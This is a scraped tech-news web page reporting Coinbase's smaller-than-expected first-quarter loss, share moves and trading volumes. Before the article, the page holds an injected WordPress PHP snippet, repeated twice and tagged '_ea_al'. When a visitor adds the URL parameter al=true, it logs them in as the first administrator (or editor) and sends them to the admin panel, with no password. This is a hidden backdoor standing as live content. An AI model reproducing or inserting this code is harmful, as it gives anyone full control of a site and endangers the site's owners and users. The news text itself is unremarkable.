// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); // _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Crypto exchange Coinbase announces reduced first-quarter loss - WHIZORD- breaking technology news, review, products

BUSINESS

Crypto exchange Coinbase announces reduced first-quarter loss

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Coinbase logo displayed on a phone screen and representation of Bitcoin are seen in this illustration photo taken in Krakow, Poland on April 15, 2021 (Photo by Jakub Porzycki/NurPhoto via Getty Images)

After investors tiptoed back to the strained asset class to hedge against a worsening economic backdrop, cryptocurrency exchange Coinbase Global Inc. (COIN.O) posted a smaller-than-expected first-quarter loss on Thursday.

The San Francisco-based company’s net loss fell to $78.9 million in the March quarter from $429.7 million a year earlier.

In extended trading, the company’s shares rose almost 7% after reporting a 34-cent loss per share compared to analysts’ $1.35 loss.

As cryptocurrencies rise, Coinbase’s shares, which dropped 85% in 2022, recovered about 40% this year through Thursday’s closing.

After a violent selloff in 2022, investors progressively return to speculative assets to protect against market risks from deepening recession fears and a banking sector confidence crisis.

“This is Coinbase’s fourth crypto cycle and we’ve emerged stronger after each one,” CEO Brian Armstrong remarked.

Still, trading volumes more than halved to $145 million, suggesting the cryptocurrency exchange has yet to profit from the reversal.

 

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